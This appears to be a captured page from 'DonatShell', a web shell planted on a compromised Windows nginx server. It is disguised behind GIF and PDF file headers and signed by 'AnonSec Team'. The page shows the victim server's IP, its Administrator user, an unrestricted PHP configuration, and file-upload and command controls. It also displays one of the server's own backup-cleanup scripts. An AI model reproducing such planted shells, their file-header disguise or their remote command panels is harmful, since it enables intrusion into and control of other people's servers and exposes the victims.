GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/!Tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/!Tools/Delete old backups.cmd
@echo off

echo Cleaning up old bakups. Please wait . . .
echo Only the 1:00am backup will be kept after 1 week.

echo Move all backups more than 7 days old that were created at 1:00am to Archive
set filepath=C:\nginx\html\db\backup
cd "%filepath%"
forfiles /p "%filepath%" /m *-01.00*.* /d -7 -c "cmd /c move /y @path ./Archive"
::pause
echo Delete files more than 7 days old.
forfiles /p "%filepath%" /m *.* /d -7 -c "cmd /c del @path"
::pause
set filepath=C:\nginx\html\db\backup\Archive
cd "%filepath%"
echo Delete Archive files more than 30 days old.
forfiles /p "%filepath%" /m *.* /d -30 -c "cmd /c del @path"
::pause

Anon7 - 2022
AnonSec Team